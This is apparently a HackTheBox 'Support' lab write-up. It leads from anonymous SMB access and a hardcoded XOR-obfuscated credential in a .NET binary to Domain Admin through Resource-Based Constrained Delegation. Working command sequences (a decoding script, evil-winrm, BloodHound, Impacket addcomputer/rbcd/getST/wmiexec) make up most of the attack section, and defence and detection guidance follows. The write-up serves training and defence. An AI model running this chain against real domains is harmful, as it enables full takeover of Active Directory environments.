Support: From a .NET Binary to the DC

Solution chain for the HackTheBox Support box: a hidden binary on SMB, XOR credentials via monodis, a password in the LDAP info field, and Administrator on the DC via RBCD.

7 min read
ibrahimsql
1,348 words

Support: From a .NET Binary to the DC

In front of me is a Windows Active Directory Domain Controller. Open ports are Kerberos, LDAP, SMB, WinRM. On SMB, a support-tools share I can pull down with anonymous access, containing a UserInfo.exe. The binary is .NET. Going down to IL code with monodis I see the key "armando" and 0xDF XOR, and out of it comes an LDAP password. Dumping LDAP reveals that a user's info field has a cleartext password written into it. I log in as the user over WinRM, follow the BloodHound arrows, and see the Shared Support Accounts group has GenericAll on DC$. The end is classic: Resource-Based Constrained Delegation to Administrator on the DC.

The commands and outputs are the original lab notes; IPs, accounts, and passwords belong to that environment. Since the machine image and ticket files are not present here, not every step of the chain should be treated as reproduced by a fresh run.

Discovery: There's a DC in Front of Me

Text
$ nmap -sC -sV -oN nmap_initial.txt 10.129.2.5
53/tcp    domain       Simple DNS Plus
88/tcp    kerberos-sec Microsoft Windows Kerberos
135/tcp   msrpc        Microsoft Windows RPC
389/tcp   ldap         Microsoft Active Directory LDAP (Domain: support.htb)
445/tcp   microsoft-ds?
5985/tcp  http         Microsoft HTTPAPI (WinRM)

Port 88 means Kerberos → almost always a Domain Controller. WinRM open → if I find a user identity, a remote shell via PowerShell.

A Suspicious Share on SMB

Text
$ smbclient -L //10.129.2.5 -N
  support-tools   Disk      support staff tools
 
$ smbclient //10.129.2.5/support-tools -N
smb: \> get UserInfo.exe.zip

UserInfo.exe is a Mono/.NET binary:

$ file UserInfo/UserInfo.exe
UserInfo/UserInfo.exe: PE32 executable for MS Windows, Intel i386 Mono/.Net assembly

Reversing the .NET Binary: monodis and the XOR Puzzle

Text
$ monodis UserInfo.exe | less
 
// In the Protected class's static constructor:
ldstr "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
ldstr "armando"

Pseudo-translation of the getPassword() method:

Text
data = Convert.FromBase64String(enc_password);
for (int i = 0; i < data.Length; i++) {
    V_1[i] = data[i] XOR key[i % key.Length] XOR 223;
}

I solve it with Python:

Text
>>> import base64
>>> data = base64.b64decode(enc)
>>> key = b'armando'
>>> pw = bytes([data[i] ^ key[i % len(key)] ^ 0xDF for i in range(len(data))])
>>> print(pw.decode())
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

// lesson: Putting XOR where the word "encryption" should be in a binary is not security; it just gives the reader a coffee-break's worth of time. The fix: manage the credential with Vault/gMSA.

LDAP Dumping: the Surprise in the info Field

Text
$ ldapsearch -x -H ldap://10.129.2.5 -D "support\\ldap" -w '...' -b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName info
 
sAMAccountName: support
info: Ironside47pleasure40Watchful

A user's info field has a cleartext password written into it. In AD, info is readable by most users.

Inside via WinRM and user.txt

$ evil-winrm -i 10.129.2.5 -u support -p 'Ironside47pleasure40Watchful'
*Evil-WinRM* PS C:\Users\support\Documents> type ..\Desktop\user.txt
// USER FLAG

BloodHound: Mapping the Privileges

$ bloodhound-python -u support -p '...' -d support.htb -ns 10.129.2.5 -c All --zip

"Find Shortest Paths to Domain Admins" result:

SUPPORT → MemberOf → SHARED SUPPORT ACCOUNTS → GenericAll → DC$

GenericAll on DC$ → escalation via Resource-Based Constrained Delegation.

What Is RBCD?

RBCD defines, in the target service account's msDS-AllowedToActOnBehalfOfOtherIdentity security descriptor, which principals may request a ticket on a user's behalf. Adding a controlled machine account's SID there requires write access on the target object. It also requires that service account's key, a suitable SPN, a working KDC/DNS, and compatible clocks. MachineAccountQuota=10 is the possible route to creating a new machine account; the value must be read in the domain rather than assumed. The Microsoft delegation guide explains that the decision is moved to the target resource owner.

Step-by-Step Attack

Text
# 1. Fake machine account
$ python3 addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \
    -dc-host support.htb support.htb/support:'...'
 
# 2. Write the DC$ attribute
$ python3 rbcd.py -delegate-from 'FAKE$' -delegate-to 'DC$' -action write \
    -dc-ip 10.129.2.5 support.htb/support:'...'
 
# 3. Get the Administrator ticket
$ python3 getST.py -spn 'cifs/dc.support.htb' -impersonate Administrator \
    -dc-ip 10.129.2.5 'support.htb/FAKE$:FakePass123!'
 
# 4. Command via Pass-the-Ticket
$ export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
$ python3 wmiexec.py -k -no-pass -dc-ip 10.129.2.5 \
    support.htb/Administrator@dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt'
// ROOT FLAG

Attack Chain

nmap → SMB anon → UserInfo.exe.zip → monodis XOR → LDAP password → LDAP dump → support password → WinRM → user.txt → BloodHound → GenericAll DC$ → RBCD (FAKE$) → S4U2Proxy → Administrator ticket → root.

Vulnerabilities Table

#VulnerabilityImpactClass
1SMB anonymous private shareSensitive binary downloadSMB Misconfiguration
2Hardcoded LDAP credential in a .NET binaryPassword recovered via XORInsecure Credential Storage
3Cleartext password in the LDAP info fieldDomain-wide visible passwordCredential Management
4Shared Support Accounts → GenericAll DC$DA-equivalent privilegeExcessive AD Privileges

Defence Summary

  • SMB anonymous access: close it wherever possible; private shares should never hold an encrypted binary with hardcoded credentials.
  • Don't embed credentials in .NET binaries: IL code is readable by anyone, so take it out of the game. Provide the credential by way of a login (gMSA/Vault); XOR obfuscation is not a security layer.
  • LDAP info attribute: if anyone is writing passwords, tokens, or temporary passwords there, clean it immediately; apply field masking under anonymous/limited access.
  • AD defaults: review MachineAccountQuota and set it to the minimum compatible with legitimate device-join workflows; grant delegation rights with least privilege instead of GenericAll, and leave msDS-AllowedToActOnBehalfOfOtherIdentity empty unless genuinely needed. Scan your own domain with BloodHound and periodically clean up excessive privilege chains.

// END OF REPORT Tags: HTB / AD / .NET RE / LDAP / RBCD / S4U2Proxy

Evidence and Failure Interpretation for Each Step

  1. Machine account: if addcomputer.py succeeded, record the account's SID and SPNs. The mere existence of the new account does not show that RBCD rights on DC$ were obtained.
  2. Target ACL: before the rbcd.py write, preserve the existing security descriptor, then verify by reading that the new SID was added. In cleanup, clearing the whole attribute can delete legitimate delegations; roll back only the test change.
  3. S4U2Self and S4U2Proxy: the controlled service gets a ticket representing the user to itself, then requests a ticket to the target service. The user's delegation constraints and KDC policy can change the outcome; "everyone including Administrator" is not a universal guarantee.
  4. Ticket scope: use the actual ccache file from the getST output as KRB5CCNAME. The filename can differ by Impacket version. Inspect the client principal, SPN, and validity window with klist.

In the example the requested ticket is for cifs/dc.support.htb. Running a command via WMI afterwards may require additional RPC/HOST service tickets and privileges; the CIFS ticket alone does not guarantee wmiexec success. Use the target by the DNS name in the SPN rather than by IP. KRB_AP_ERR_SKEW can indicate a clock problem, and SPN errors can indicate a name/service mismatch; not every Kerberos error means "no permission".

Tying the Defence Control to the Chain

MachineAccountQuota=0 restricts an ordinary user from creating a new machine this way. If the attacker controls the key of an existing service/machine account, it does not close RBCD by itself. The real limit is the ACL and attribute-write authority on the target computer object; removing the GenericAll excess, revoking secrets, and auditing unexpected delegations are needed together.

With Directory Service Changes auditing and a suitable SACL, event 5136 can show an attribute change. Kerberos 4769 events provide context for service ticket requests; none of these is explicitly tagged "RBCD attack". Correlate the new machine account, the target attribute write, the requested SPN, and the source host timeline. Since legitimate service delegation uses the same mechanisms, a populated attribute alone is not proof of an attack.

In a harmless regression run, verify that a test user cannot change the target computer's delegation list; then check that an approved service's existing delegation still works. A defence test does not require establishing a root shell.

---
Share this post:

What do you think?

React to show your appreciation

Related Posts